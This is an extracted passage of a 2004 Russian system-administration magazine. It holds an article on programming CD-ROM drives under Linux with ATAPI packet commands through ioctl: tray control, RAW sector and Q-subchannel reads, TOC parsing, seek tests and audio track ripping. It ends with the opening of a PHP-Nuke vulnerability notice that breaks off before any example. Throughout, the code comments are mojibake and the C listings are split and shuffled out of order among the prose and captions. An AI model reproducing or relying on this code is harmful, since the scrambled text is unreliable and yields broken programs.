# oggenc track.wav -b 256 track.ogg

ioctl(int fd, CDROM_SEND_PACKET, struct cdrom_generic_command *);

/* for CDROM_PACKET_COMMAND ioctl */

Page 81: 022 Системный Администратор 09 2004

79№9(22), сентябрь 2004

программирование

Эта структура определена в файле <linux/cdrom.h>. На-значение полей структуры:! cmd[CDROM_PACKET_SIZE] – 12-байтный командный

пакет;! buffer – указатель на буфер, куда будут помещены счи-

танные данные. Также в этом буфере хранятся данные,которые будут переданы устройству;

! buflen – размер передаваемых (принимаемых) данных;! sense – структура, содержащая информацию о состоя-

нии устройства (см. команду REQUEST SENSE и рис.10). Эта структура также определена в файле <linux/cdrom.h>;

! data_direction – направление обмена данными. Можетпринимать следующие значения:

! timeout – допустимое время выполнения команды.

Рассмотрим примеры программ, выполняющих доступк ATAPI-устройству при помощи системного вызова IOCTL.

Первый пример – открытие и закрытие лотка CD-ROM(файл IOCTL/open_close.c).

Следующий пример – функция read_cd, выполняющаячтение RAW-сектора, при этом вместе с данными основно-го канала считываются данные Q-субканала сектора. Фор-мат данных Q-субканала приведен на рис.9, формат коман-ды READ CD – на рис. 8. Входной параметр функции – ло-гический номер сектора.

struct cdrom_generic_command{

unsigned char cmd[CDROM_PACKET_SIZE];unsigned char *buffer;unsigned int buflen;int stat;struct request_sense *sense;unsigned char data_direction;int quiet;int timeout;void *reserved[1];

};

printf("CD-ROM îòêðûò. Íàæìèòå ENTER äëÿ çàêðûòèÿ");getchar();

/* Çàêðûâàåì ëîòîê */memset((void *)&cgc, 0, ↵↵↵↵↵

sizeof(struct cdrom_generic_command));cgc.cmd[0] = GPCMD_START_STOP_UNIT;cgc.cmd[4] = 0x3;cgc.data_direction = CGC_DATA_NONE;ioctl(fd, CDROM_SEND_PACKET, &cgc);printf("CD-ROM çàêðûò\n");return 0;

}

int read_cd(__u32 lba){

int fd, out_f;struct cdrom_generic_command cgc;struct request_sense sense;

#define QSCH_LEN 16 // ðàçìåð äàííûõ Q-ñóáêàíàëà/* Áóôåð äëÿ ñ÷èòàííûõ äàííûõ */

__u8 blk_buff[CD_FRAMESIZE_RAW + QSCH_LEN];/* Îòêðûâàåì ôàéë óñòðîéñòâà */

fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK);/* Îæèäàåì ãîòîâíîñòü óñòðîéñòâà ê ïðèíÿòèþ ïàêåòíîé êîìàíäû */

memset((void *)&cgc, 0, ↵↵↵↵↵sizeof(struct cdrom_generic_command));

memset(&sense, 0, sizeof(sense));cgc.cmd[0] = GPCMD_TEST_UNIT_READY;cgc.data_direction = CGC_DATA_NONE;cgc.sense = &sense;if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {

perror("ioctl");printf("Sense key - 0x%02x\n", sense.sense_key);printf("ASC - 0x%02x\n", sense.asc);printf("ASCQ - 0x%02x\n", sense.ascq);return -1;

}/* Ôîðìèðóåì êîìàíäó READ CD */

memset((void *)&cgc, 0, ↵↵↵↵↵sizeof(struct cdrom_generic_command));

memset(&sense, 0, sizeof(sense));memset(blk_buff, 0, sizeof(blk_buff));cgc.cmd[0] = GPCMD_READ_CD;cgc.cmd[1] = 0; // ñ÷èòûâàòü ñåêòîð ëþáîãî òèïàcgc.cmd[8] = 1; // ñ÷èòûâàòü îäèí ñåêòîðcgc.cmd[9] = 0xF8; // èç ñåêòîðà ñ÷èòûâàòü âñå äàííûå

// (òàáë.99 INF-8010i)cgc.cmd[10] = 2; // ñ÷èòûâàòü äàííûå Q-ñóáêàíàëà

// â îáùåì ïîòîêå äàííûõprintf("lba - %d\n", lba);lba = __swab32(lba);memcpy((cgc.cmd + 2), (void *)&lba, 4);// íàïðàâëåíèå äàííûõ � îò óñòðîéñòâàcgc.data_direction = CGC_DATA_READ;cgc.buffer = blk_buff; // óêàçàòåëü íà áóôåð äëÿ äàííûõcgc.buflen = CD_FRAMESIZE_RAW + QSCH_LEN; // ðàçìåð áóôåðàcgc.sense = &sense;

/* Îòïðàâëÿåì óñòðîéñòâó êîìàíäó */if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {

perror("ioctl");printf("Sense key - 0x%02x\n", sense.sense_key);printf("ASC - 0x%02x\n", sense.asc);printf("ASCQ - 0x%02x\n", sense.ascq);

#define CGC_DATA_WRITE 1 // ïåðåäà÷à äàííûõ óñòðîéñòâó#define CGC_DATA_READ 2 // ïðè¸ì äàííûõ îò óñòðîéñòâà#define CGC_DATA_NONE 3 // íåò îáìåíà äàííûìè

/* Ôàéë open_close.c */#include <stdio.h>#include <fcntl.h>#include <linux/types.h>#include <linux/cdrom.h>int main(){

int fd;struct cdrom_generic_command cgc;

/* Îòêðûâàåì ôàéë óñòðîéñòâà */fd = open("/dev/cdrom", O_RDONLY|O_NONBLOCK);memset((void *)&cgc, 0, ↵↵↵↵↵

sizeof(struct cdrom_generic_command));/* Æä¸ì ãîòîâíîñòü óñòðîéñòâà ê âûïîëíåíèþ ïàêåòíîé êîìàíäû.* Ïîëå data_direction áóäåò ñîäåðæàòü CGC_DATA_NONE, ò.ê.* êîìàíäà íå òðåáóåò ïåðåäà÷è äàííûõ*/

cgc.cmd[0] = GPCMD_TEST_UNIT_READY; // ñì. <linux/cdrom.h>cgc.data_direction = CGC_DATA_NONE;

/* Ïîñûëàåì óñòðîéñòâó êîìàíäó */ioctl(fd, CDROM_SEND_PACKET, &cgc);

/* Ôîðìèðóåì è ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó,* âûïîëíÿþùóþ îòêðûòèå ëîòêà CD-ROM. Êîìàíäà íå òðåáóåò* ïåðåäà÷è äàííûõ, ïîëå data_direction ñîäåðæèò CGC_DATA_NONE*/

memset((void *)&cgc, 0, ↵↵↵↵↵sizeof(struct cdrom_generic_command));

cgc.cmd[0] = GPCMD_START_STOP_UNIT;cgc.cmd[4] = 0x2;cgc.data_direction = CGC_DATA_NONE;ioctl(fd, CDROM_SEND_PACKET, &cgc);

Page 82: 022 Системный Администратор 09 2004

80

программирование

Полный листинг программы чтения RAW-секторов ком-пакт-диска с использованием системного вызова IOCTLнаходится в файле IOCTL/read_sector.c.

После запуска на выполнение программа сохранит дан-ные основного канала в файле sector, данные Q-субканала –в файле qsch и выведет значения координат сектора в MSFформате, считанные из поля Header. Для сектора номер1001 получим следующий результат:

Результаты чтения данных Q-субканала программойread_sector зависят от используемой модели CD-ROM. Длясравнения посмотрим на результаты чтения приводамиTEAC и MITSUMI Q-субканала сектора номер 1001.

Байты 7, 8 и 9 содержат координаты сектора в MSF-формате. Если пересчитать этот адрес в формат LBA, тополучится, что TEAC считывает «родной» Q-субканал сек-тора, а MITSUMI читает Q-субканал соседа, 1002 сектора.

Для изучения следующего примера понадобится ком-пакт-диск, на котором записано несколько сессий. Нашазадача – прочитать содержимое TOC этого диска при усло-

вии, что поле Format содержит значение 10b. Формат дан-ных TOC при Format Field = 10b представлен на рис.13. Сле-дующая структура описывает формат записи TOC приFormat = 10b:

Поле point определяет тип информации, которую содер-жит запись TOC. Значение этого поля определяет назначениеостальных полей, таких как min, sec, frame, pmin, psec, pframe.

Считывание TOC выполняет функция read_toc():

Ðèñóíîê 14. Ôîðìàòû äàííûõ Q-ñóáêàíàëà Lead-In îáëàñòè (TOC)

return -1;}

/* Çàïèñûâàåì â ôàéë sector äàííûå îñíîâíîãî êàíàëà */out_f = open("sector", O_CREAT|O_RDWR, 0600);write(out_f, blk_buff, CD_FRAMESIZE_RAW);

/* Â ôàéë qsch - äàííûå Q-ñóáêàíàëà */out_f = open("qsch", O_CREAT|O_RDWR, 0600);write(out_f, blk_buff + CD_FRAMESIZE_RAW, QSCH_LEN);

/* Îòîáðàçèì êîîðäèíàòû ñåêòîðà, íàõîäÿùèåñÿ â çàãîëîâêå* Header*/

printf("Minute - %x\n", blk_buff[CD_SYNC_SIZE]);printf("Second - %x\n", blk_buff[CD_SYNC_SIZE + 1]);printf("Frame - %x\n", blk_buff[CD_SYNC_SIZE + 2]);printf("Mode - %d\n", blk_buff[CD_SYNC_SIZE + 3]);close(fd); close(out_f);return 0;

}

int read_toc(){

int i = 1;// áóôåð äëÿ õðàíåíèÿ ðåçóëüòàòîâ ÷òåíèÿ TOC__u8 *data_buff;

/* Çàäàåì ðàçìåð îáëàñòè ïàìÿòè äëÿ õðàíåíèÿ äàííûõ ÒÎÑ.* Ò.ê. çàðàíåå îáúåì äàííûõ íàì íå èçâåñòåí, òî çàäàäèì* ìàñêèìàëüíîå çíà÷åíèå - 64 Êá*/

__u16 buff_size = 0xFFFF;__u16 toc_data_length = 0; // äëèíà çàïèñåé TOC__u32 lba;int toc_entries = 0; // ÷èñëî çàïèñåé â TOCstruct cdrom_generic_command cgc;struct request_sense sense;struct toc *t;memset((void *)&cgc, 0, ↵↵↵↵↵

sizeof(struct cdrom_generic_command));memset(&sense, 0, sizeof(sense));

/* Âûäåëÿåì ïàìÿòü äëÿ ñîäåðæèìîãî TOC */data_buff = (__u8 *)malloc(buff_size);memset(data_buff, 0, buff_size);

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó äëÿ ÷òåíèÿ TOC */cgc.cmd[0] = GPCMD_READ_TOC_PMA_ATIP;

struct toc {__u8 snum; // íîìåð ñåññèè__u8 ctrl :4; // Control__u8 adr :4; // ADR__u8 tno; // íîìåð òðåêà (âñåãäà 0)__u8 point; // POINT__u8 min; // AMIN__u8 sec; // ASEC__u8 frame; // AFRAME__u8 zero; // 0__u8 pmin; // PMIN__u8 psec; // PSEC__u8 pframe; // PFRAME

} __attribute__ ((packed));

Page 83: 022 Системный Администратор 09 2004

81№9(22), сентябрь 2004

программирование

Полный листинг программы чтения TOC находится вфайле IOCTL/read_toc_full.c.

Устанавливаем в устройство компакт-диск, на которомсоздано 2 сессии, и запускаем на выполнение программуread_cd_full. Вывод направим в файл toc:

В результате в файле toc будут собраны данные Q-суб-каналов всех Lead-In областей компакт-диска:

Проведем анализ полученных результатов (таблица 1).Для этого воспользуемся таблицей 131, которая приведе-на на стр. 175 спецификации INF-8020i (рис. 14).

Следующий пример – чтение данных Q-субканала сек-торов компакт-диска. Для выполнения этой операции вос-пользуемся связкой команд SEEK/READ SUB-CHANNEL.Команда SEEK перемещает оптический элемент к нужно-му сектору, а READ SUB-CHANNEL производит считыва-ние необходимой нам информации из этого сектора. Счи-тывать мы будем данные о текущей позиции оптического

cgc.cmd[2] = 2; // ïîëå Format Field = 10bcgc.sense = &sense;cgc.data_direction = CGC_DATA_READ;cgc.buffer = data_buff;cgc.buflen = buff_size;buff_size = __swab16(buff_size);memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2);

/* Ïîñûëàåì êîìàíäíûé ïàêåò óñòðîéñòâó */if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {

perror("ioctl");printf("Sense key - 0x%02x\n", sense.sense_key);printf("ASC - 0x%02x\n", sense.asc);printf("ASCQ - 0x%02x\n", sense.ascq);return -1;

}/* Îïðåäåëÿåì ðàçìåð äàííûõ TOC */

memcpy(&toc_data_length, data_buff, 2);toc_data_length = __swab16(toc_data_length);printf("TOC data length - %d\n", toc_data_length);

/* Âû÷èñëÿåì ÷èñëî çàïèñåé â ñîäåðæèìîì TOC (cì. ðèñ.13) */toc_entries = (toc_data_length - 2)/11;printf("TOC entries - %d\n", toc_entries);

/* Íîìåð ïåðâîé è ïîñëåäíåé ñåññèè */printf("First: %d\t", data_buff[2]);printf("Last: %d\n", data_buff[3]);

/* Âûäåëÿåì ïàìÿòü äëÿ äàííûõ TOC, ðàçìåð ýòèõ äàííûõ óæå* òî÷íî èçâåñòåí*/

t = (struct toc *)malloc(toc_data_length);memset((void *)t, 0, toc_data_length);

/* Êîïèðóåì äàííûå TOC èç áóôåðà data_buff* è îñâîáîæäàåì âûäåëåííóþ ïîä íåãî ïàìÿòü*/

memcpy((void *)t, data_buff + 4, toc_data_length);free(data_buff);

/* Îòîáðàæàåì ðåçóëüòàòû ÷òåíèÿ TOC */printf("Entry\tSession\tPoint\tMin\tSec\ ↵↵↵↵↵

tFrame\tPMin\tPsec\tPFrame\tLBA\n");for(i = 0; i < toc_entries; i++) {

printf("%d\t", i);printf("%d\t", (t + i)->snum);printf("%X\t", (t + i)->point);printf("%d\t", (t + i)->min);printf("%d\t", (t + i)->sec);printf("%d\t", (t + i)->frame);printf("%d\t", (t + i)->pmin);printf("%d\t", (t + i)->psec);printf("%d\t", (t + i)->pframe);

Òàáëèöà 1. Ðåçóëüòàòû ÷òåíèÿ TOC (Format Field = 10b)

/* Ïåðåñ÷èòûâàåì êîîðäèíàòû èç MSF â LBA ïðè ïîìîùè ìàêðîñà* MSF2LBA*/

#define MSF2LBA(Min, Sec, Frame) \(((Min * 60 + Sec) * 75 + Frame) - 150)lba = MSF2LBA((t + i)->pmin, (t + i)->psec, ↵↵↵↵↵

(t + i)->pframe);printf("%u\n", lba);

}free(t);return 0;

}

# ./read_cd_full > toc

TOC data length - 123

TOC entries - 11

First: 1 Last: 2

Entry Session Point Min Sec Frame PMin Psec PFrame LBA

0 1 A0 0 0 0 1 32 0 6750

1 1 A1 0 0 0 1 0 0 4350

2 1 A2 0 0 0 0 37 50 2675

3 1 1 0 0 0 0 2 0 0

4 1 B0 3 7 50 79 59 74 359849

5 1 C0 70 0 158 97 34 23 438923

6 2 A0 0 0 0 2 32 0 11250

7 2 A1 0 0 0 2 0 0 8850

8 2 A2 0 0 0 3 44 19 16669

9 2 2 0 0 0 3 9 50 14075

10 2 B0 5 14 19 79 59 74 359849

Page 84: 022 Системный Администратор 09 2004

82

программирование

элемента, другими словами, координаты сектора, над ко-торым элемент находится. Заодно мы посмотрим на точностьпозиционирования головки CD-ROM разных моделей – TEACи MITSUMI.

Формат команды SEEK простой – байты 2-5 содержаткоординаты сектора в LBA-формате, на который мы хотимпозиционировать оптический элемент. Формат командыREAD SUB-CHANNEL представлен на рис. 15.

Для чтения данных Q-субканала бит SubQ устанавли-вается в 1. Для чтения текущей позиции оптического эле-мента устройства поле Sub-channel Data Format должносодержать 01h. В результате выполнения команды устрой-ство вернет блок данных следующего формата:

Заголовок блока содержит длину считанных из устрой-ства данных. Координаты текущей позиции оптическогоэлемента находятся в поле Absolute CD-ROM Address.

Функция, выполняющая позиционирование оптическо-го элемента устройства на заданный сектор:

Следующая структура описывает формат блока данныхо текущей позиции оптического элемента (см. рис.16):

Функция, выполняющая чтение данных о текущей пози-ции оптического элемента устройства:

Ðèñóíîê 15. Ôîðìàò êîìàíäû READ SUB-CHANNEL

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */cgc.cmd[0] = GPCMD_SEEK; // êîä êîìàíäû SEEK (0x2B)cgc.sense = &sense;cgc.data_direction = CGC_DATA_NONE; // íåò îáìåíà äàííûìè

/* Êîîðäèíàòû ñåêòîðà */lba = __swab32(lba);memcpy((void *)(cgc.cmd + 2), (void *)&lba, 4);if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {

perror("ioctl");printf("Sense key - 0x%02x\n", sense.sense_key);printf("ASC - 0x%02x\n", sense.asc);printf("ASCQ - 0x%02x\n", sense.ascq);return -1;

}return 0;

}

struct current_position {__u8 dfc; // Data Format Code__u8 ctrl :4; // Control__u8 adr :4; // ADR__u8 tno; // Track number__u8 ino; // Index number__u32 a_addr; // Absolute CD-ROM Address__u32 r_addr; // Track Relative CD-ROM Address

} __attribute__ ((packed)) cur_pos;

void read_subch(){

// ðàçìåð çàïðàøèâàåìûõ äàííûõ// (4 áàéòà çàãîëîâêà + 12 áàéò äàííûõ)__u16 buff_size = 16;// óêàçàòåëü íà áóôåð äëÿ äàííûõ Q-ñóáêàíàëà__u8 *data_buff;// ðàçìåð áëîêà äàííûõ Q-ñóáêàíàëà__u16 sch_length = 0;struct cdrom_generic_command cgc;struct request_sense sense;memset((void *)&cgc, 0, ↵↵↵↵↵

sizeof(struct cdrom_generic_command));memset(&sense, 0, sizeof(struct request_sense));

/* Âûäåëÿåì ïàìÿòü */data_buff = (__u8 *)malloc(buff_size);memset(data_buff, 0, buff_size);

/* Ôîðìèðóåì ïàêåòíóþ êîìàíäó */cgc.cmd[0] = GPCMD_READ_SUBCHANNEL; // êîä êîìàíäûcgc.cmd[2] = 0x40; // áèò SUBQ óñòàíîâëåí � äàííûå

// Q-ñóáêàíàëà ñ÷èòûâàþòñÿcgc.cmd[3] = 1; // ÷èòàåì äàííûå î òåêóùåé ïîçèöèècgc.sense = &sense;cgc.data_direction = CGC_DATA_READ; // íàïðàâëåíèå

// ïåðåäà÷è äàííûõcgc.buffer = data_buff;cgc.buflen = buff_size;buff_size = __swab16(buff_size);memcpy((void *)(cgc.cmd + 7), (void *)&buff_size, 2);if(ioctl(fd, CDROM_SEND_PACKET, &cgc) < 0) {

perror("ioctl");printf("Sense key - 0x%02x\n", sense.sense_key);printf("ASC - 0x%02x\n", sense.asc);printf("ASCQ - 0x%02x\n", sense.ascq);

exit(-1);}/* Ðàçìåð ñ÷èòàííûõ äàííûõ */

memcpy(&sch_length, data_buff + 2, 2);sch_length = __swab16(sch_length);printf("Sub-channel data length - %d\n", sch_length);

Ðèñóíîê 16. Ôîðìàò áëîêà äàííûõ î òåêóùåé ïîçèöèè îïòè÷åñ-êîãî ýëåìåíòà

int seek(__u32 lba){

struct cdrom_generic_command cgc;struct request_sense sense;memset((void *)&cgc, 0, ↵↵↵↵↵

sizeof(struct cdrom_generic_command));memset(&sense, 0, sizeof(sense));

Page 85: 022 Системный Администратор 09 2004

83№9(22), сентябрь 2004

программирование

Полный листинг программы позиционирования оптичес-кого элемента и чтения текущей позиции находится в фай-ле IOCTL/read_subch.c.

Результаты работы программы показали, что разныеприводы выполняют команду позиционирования с разнойточностью. Из двух имеющихся в моём распоряжении при-водов лучший результат показал TEAC – из 30 попыток по-зиционирования на разные сектора не было зафиксирова-но ни одного промаха. У MITSUMI картина прямо противо-положная: из 30 попыток ни одного точного попадания взаданный сектор, постоянные перелеты. Результаты рабо-ты программы для разных типов привода находятся в ката-логе IOCTL/RESULT, файлы TEAC и MITSUMI.

Кроме спецификатора CDROM_SEND_PACKET, в фай-ле <linux/cdrom.h> определён целый набор специализиро-ванных команд, выполняющих определенное действие и нетребующих формирования командного пакета в том объе-ме, который был нами рассмотрен в предыдущих приме-рах. Это в значительной степени упрощает работу с уст-ройством. Например, команда для открытия и закрытиялотка CD-ROM выглядит следующим образом:

Рассмотрим пример функции, которая считывает TOCкомпакт-диска.

Полный листинг программы приведен в файле IOCTL2/get_cd_toc.c.

Рассмотрим программу, которая каждые 2 секунды от-слеживает текущее положение оптического элемента, ото-бражает координату текущего сектора (в форматах LBA иMSF) и номер трека.

Полный текст программы находится в файле IOCTL2/read_sch.c.

Теперь делаем вот что – в одной консоли запускаемпроигрыватель аудиокомпакт-дисков (workbone, например),а в другой – программу read_sch. Через каждые 10-15 се-

memset((void *)&cur_pos, 0, 12);memcpy((void *)&cur_pos, data_buff + 4, 12);printf("Data format code - %d\n", cur_pos.dfc);printf("ADR - %d\n", cur_pos.adr);printf("Track number - %d\n", cur_pos.tno);

/* Òåêóùàÿ ïîçèöèÿ îïòè÷åñêîãî ýëåìåíòà */cur_pos.a_addr = __swab32(cur_pos.a_addr);printf("Current position - %u\n", cur_pos.a_addr);

/* Îñâîáîæäàåì ïàìÿòü è âûõîäèì */free(data_buff);return;

}

ioctl(fd, CDROMEJECT); // îòêðûòü ëîòîê CD-ROMioctl(fd, CDROMCLOSETRAY); // çàêðûòü åãî

#define CD_DEVICE "/dev/cdrom"int read_toc(){

int fd, i;/* Ñòðóêòóðà struct cdrom_tochdr ñîäåðæèò çàãîëîâîê* ñîäåðæèìîãî TOC, ñòðóêòóðà struct cdrom_tocentry �* äåñêðèïòîð òðåêà. Îáå ñòðóêòóðû îïðåäåëåíû â ôàéëå* <linux/cdrom.h>*/

struct cdrom_tochdr hdr;struct cdrom_tocentry toc;

/* Îòêðûâàåì ôàéë óñòðîéñòâà */fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK);

/* Ñ÷èòûâàåì çàãîëîâîê TOC */memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr));ioctl(fd, CDROMREADTOCHDR, &hdr);

/* Ïîëå cdth_trk0 ñòðóêòóðû hdr ñîäåðæèò íîìåð ïåðâîãî* òðåêà, à ïîëå cdth_trk1 � íîìåð ïîñëåäíåãî òðåêà.* Îòîáðàçèì ýòè çíà÷åíèÿ*/

printf("First: %d\t", hdr.cdth_trk0);printf("Last: %d\n", hdr.cdth_trk1);#define FIRST hdr.cdth_trk0#define LAST hdr.cdth_trk1

/* Îïðåäåëèì ôîðìàò, â êîòîðîì ìû õîòèì ïîëó÷èòü êîîðäèíàòû

* òðåêà. Äëÿ ýòîãî èñïîëüçóåòñÿ ïîëå cdte_format* ñòðóêòóðû struct cdrom_tocentry*/

toc.cdte_format = CDROM_LBA;/* Çàäàâàÿ â ïîëå cdte_track ñòðóêòóðû struct cdrom_tocentry* ïîñëåäîâàòåëüíî íîìåðà òðåêîâ îò ïåðâîãî äî ïîñëåäíåãî,* ìû îïðåäåëÿåì èõ ñòàðòîâûå êîîðäèíàòû â ôîðìàòå LBA*/

for(i = FIRST; i <= LAST; i++) {toc.cdte_track = i;ioctl(fd, CDROMREADTOCENTRY, &toc);

printf("track: %d\t", i); // íîìåð òðåêà// LBA àäðåñprintf("lba: %d\n", toc.cdte_addr.lba);

}return 0;

}

#define CD_DEVICE "/dev/cdrom"int main(){

int fd, current_track;/* Êîîðäèíàòû òåêóùåãî ñåêòîðà íàõîäÿòñÿ â Q-ñóáêàíàëå.* Äëÿ ÷òåíèÿ äàííûõ Q-ñóáêàíàëà èñïîëüçóåòñÿ ñïåöèôèêàòîð* CDROMSUBCHNL, ñ÷èòàííûå äàííûå ïîìåùàþòñÿ â ñòðóêòóðó* struct cdrom_subchnl (ñì. <linux/cdrom.h>)*/

struct cdrom_subchnl sc;/* Îòêðûâàåì ôàéë óñòðîéñòâà */

fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK);/* Ïðîâåðÿåì òèï êîìïàêò-äèñêà. Ýòî äîëæåí áûòü Audio-CD */

if(ioctl(fd, CDROM_DISC_STATUS) != CDS_AUDIO) {printf("I need Audio_CD!\n");return 0;

}/* Ñ÷èòûâàíèå êîîðäèíàò ïðîèçâîäèì â áåñêîíå÷íîì öèêëå */

for(;;) {/* Çàäà¸ì ôîðìàò àäðåñà LBA è ñ÷èòûâàåì êîîðäèíàòû ñåêòîðà */

sc.cdsc_format = CDROM_LBA;ioctl(fd, CDROMSUBCHNL, &sc);current_track = sc.cdsc_trk;

/* Îòîáðàæàåì äàííûå î òåêóùåì òðåêå è êîîðäèíàòå* â ôîðìàòå LBA*/

printf("Track: %d\t", current_track);printf("LBA: %d\t", sc.cdsc_absaddr.lba);

/* Òî æå ñàìîå - äëÿ ôîðìàòà MSF */sc.cdsc_format = CDROM_MSF;ioctl(fd, CDROMSUBCHNL, &sc);printf("MSF: %d %d %d\n", ↵↵↵↵↵

sc.cdsc_absaddr.msf.minute, ↵↵↵↵↵sc.cdsc_absaddr.msf.second, ↵↵↵↵↵sc.cdsc_absaddr.msf.frame);

/* Æäåì äâå ñåêóíäû è ïîâòîðÿåì. Âûõîä ïî Ctrl-C */sleep(2);

}return 0;

}

Page 86: 022 Системный Администратор 09 2004

84

программирование

кунд воспроизведения переходим к следующему треку накомпакте и смотрим на результаты работы read_sch. Полу-чается примерно следующая картина:

и т. д. Результаты работы программы красноречиво свиде-тельствуют о постоянном изменении текущей координаты.

И наконец, последний пример, который мы рассмотримв данной статье, – это еще одна функция, считывающаятреки с Audio-CD:

cda.addr_format = CDROM_LBA; // ôîðìàò àäðåñàcda.nframes = 1; // ñêîëüêî ñåêòîðîâ ñ÷èòûâàåì çà îäíî

// îáðàùåíèå ê äèñêócda.buf = (__u8 *)&buff[0]; // àäðåñ áóôåðà äëÿ

// ñ÷èòàííûõ äàííûõ/* Öèêë ÷òåíèÿ ñåêòîðîâ */

for(i = start_lba; i < end_lba; i++) {memset(buff, 0, sizeof(buff));

cda.addr.lba = i; // àäðåñ ñ÷èòûâàåìîãî ñåêòîðàprintf("lba: %u\n", i);

/* Ñ÷èòûâàåì ñåêòîð c àóäèîäàííûìè è ìåíÿåì ìåñòàìè* ñîñåäíèå áàéòû*/

ioctl(fd, CDROMREADAUDIO, &cda);for(n = 0; n < CD_FRAMESIZE_RAW/2; n++)buff[n] = __swab16(buff[n]);

/* Ñîõðàíÿåì ñ÷èòàííûé ñåêòîð â ôàéë */write(out, (__u8 *)buff, CD_FRAMESIZE_RAW);

}close(fd); close(out);return 0;

}Считанный трек сначала преобразуем в WAV-формат, а

затем кодируем в Ogg Vorbis:

Полный листинг программы чтения аудиотреков нахо-дится в файле IOCTL2/read_cdda_track.c.

Информационные ресурсыпо данной теме:1. Кулаков В. Программирование дисковых подсистем. –

СПб.: Питер, 2002. – 768 с.:ил.2. Гук М. Аппаратные средства IBM PC. Энциклопедия, 2-е

изд. – СПб.: Питер, 2003. – 923 с.:ил.3. Гук М. Дисковая подсистема ПК. – СПб.: Питер, 2001.4. Касперски К. Статья «Лазерный диск с нулевым треком

как средство защиты от копирования», http://kpnc.opennet.ru/_ZeroTrack.zip.

5. Касперски К. Статья «Искажение TOC как средствоборьбы с несанкционированным копированием диска», –Журнал «Системный администратор», №09, 2003 г.

6. Касперски К. Статья «Способы взаимодействия с дис-ком на секторном уровне», http://kpnc.opennet.ru/ATAPI.zip.

7. Introduction to CD and CD-ROM (with information on CDand CD-ROM formats, complete with diagrams and tables),ht tp://www.disctronics.co.uk/downloads/tech_docs/cdintroduction.pdf

8. Descriptions of mastering and replication of CD and DVDdiscs with diagrams, http://www.disctronics.co.uk/downloads/tech_docs/replication.pdf

9. Comprising a comprehensive list of terms and words usedin connection with CDs and DVDs and the applications thatthey support, http://www.disctronics.co.uk/downloads/tech_docs/glossary.pdf

10. CD-Recordable FAQ, http://www.cdrfaq.org.11. www.google.com12. AT Attachment with Packet Interface Extension – (ATA/

ATAPI-4), www.t13.org13. Information specification INF-8020i Rev 2.6. ATA Packet

Interface for CD-ROMs SFF-8020i, http://www.stanford.edu/~csapuntz/specs/INF-8020.PDF

Track: 1 LBA: 0 MSF: 0 2 0

Track: 1 LBA: 150 MSF: 0 4 0

Track: 1 LBA: 301 MSF: 0 6 1

Track: 1 LBA: 451 MSF: 0 8 1

Track: 1 LBA: 602 MSF: 0 10 2

Track: 1 LBA: 753 MSF: 0 12 3

Track: 2 LBA: 23962 MSF: 5 21 37

Track: 2 LBA: 24112 MSF: 5 23 37

Track: 2 LBA: 24263 MSF: 5 25 38

Track: 2 LBA: 24414 MSF: 5 27 39

Track: 2 LBA: 24565 MSF: 5 29 40

Track: 3 LBA: 40191 MSF: 8 57 66

Track: 3 LBA: 40342 MSF: 8 59 67

Track: 3 LBA: 40492 MSF: 9 1 67

Track: 3 LBA: 40643 MSF: 9 3 68

Track: 3 LBA: 40794 MSF: 9 5 69

int read_cdda_track(){

int fd, out, n;__u32 i, start_lba, end_lba;__u16 buff[CD_FRAMESIZE_RAW/2];struct cdrom_tochdr hdr;struct cdrom_tocentry toc;

/* Ñòðóêòóðà struct cdrom_read_audio èñïîëüçóåòñÿ âìåñòå* ñ IOCTL-êîìàíäîé CDROMREADAUDIO (<linux/cdrom.h>)*/

struct cdrom_read_audio cda;/* Îòêðûâàåì óñòðîéñòâî */

fd = open(CD_DEVICE, O_RDONLY|O_NONBLOCK);/* Îïðåäåëÿåì êîëè÷åñòâî òðåêîâ íà Audio-CD */

memset((void *)&hdr, 0, sizeof(struct cdrom_tochdr));ioctl(fd, CDROMREADTOCHDR, &hdr);printf("First: %d\t", hdr.cdth_trk0);printf("Last: %d\n", hdr.cdth_trk1);#define FIRST hdr.cdth_trk0#define LAST hdr.cdth_trk1

/* Ââîäèì íîìåð òðåêà, êîòîðûé ìû ñîáèðàåìñÿ ñ÷èòàòü,* è ïðîâåðÿåì ïðàâèëüíîñòü ââåäåííîãî çíà÷åíèÿ*/

printf("Enter track number: ");scanf("%d", &n);if((n < 1) || (n > LAST)) {

printf("Wrong track number\n");return -1;

}/* Çàäàåì ôîðìàò àäðåñà */

toc.cdte_format = CDROM_LBA;/* Îïðåäåëÿåì ñòàðòîâûé àäðåñ òðåêà (â LBA ôîðìàòå) */

toc.cdte_track = n;ioctl(fd, CDROMREADTOCENTRY, &toc);start_lba = toc.cdte_addr.lba;

/* Êîíå÷íûé àäðåñ òðåêà. Åñëè âûáðàí ïîñëåäíèé òðåê íà äèñêå,* òî íåîáõîäèìî îïðåäåëèòü íà÷àëî lead-out îáëàñòè.* Äëÿ ýòîãî â ïîëå íîìåðà òðåêà óêàçûâàåì 0xAA*/

if(n == LAST) toc.cdte_track = CDROM_LEADOUT;else toc.cdte_track = n + 1;ioctl(fd, CDROMREADTOCENTRY, &toc);end_lba = toc.cdte_addr.lba;

/* Ñ÷èòàííûé òðåê ñîõðàíèì â ôàéëå track.cdr */out = open("track.cdr",O_CREAT|O_RDWR,0600);

/* Çàïîëíèì ïîëÿ ñòðóêòóðû struct cdrom_read_audio */

# sox track.cdr track.wav# oggenc track.wav -q 6 track.ogg

Page 87: 022 Системный Администратор 09 2004

bugtraq

85№9(22), сентябрь 2004

Несколько уязвимостей в PHP-NukeПрограмма: PHP-Nuke 7.4.Опасность: Высокая.Описание: Две уязвимости обнаружены в PHP-Nuke в об-работке некоторых административных команд. Удаленныйпользователь может просматривать информацию админи-стративной учетной записи и удалять административнуюучетную запись.

Удаленный пользователь может представить специаль-но обработанный POST-запрос, чтобы просматривать aid-значение административной учетной записи. Пример:

